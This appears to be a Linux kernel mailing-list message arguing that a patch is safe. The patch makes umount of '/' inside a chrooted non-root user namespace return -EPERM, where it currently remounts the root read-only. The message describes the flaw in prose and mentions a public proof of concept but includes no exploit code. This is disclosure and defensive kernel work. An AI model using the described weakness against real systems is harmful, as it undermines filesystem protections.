Due to my ineptitude, the cat is well and truly out of the bag on this
one, complete with PoC.

This fix really ought to be safe.  Inside a mountns owned by a
non-root user namespace, the namespace root almost always has
MNT_LOCKED set (if it doesn't, then there's a bug, because rootfs
could be exposed).  In that case, calling umount on "/" will return
-EINVAL with or without this patch.

Outside a userns, this patch will have no effect.  may_mount, required
by umount, already checks
ns_capable(current->nsproxy->mnt_ns->user_ns, CAP_SYS_ADMIN), so an
additional capable(CAP_SYS_ADMIN) check will have no effect.

That leaves anything that calls umount on "/" in a non-root userns
while chrooted.  This is the case that is currently broken (it
remounts ro, which shouldn't be allowed) and that my patch changes to
-EPERM.  If anything relies on *that*, I'd be surprised.
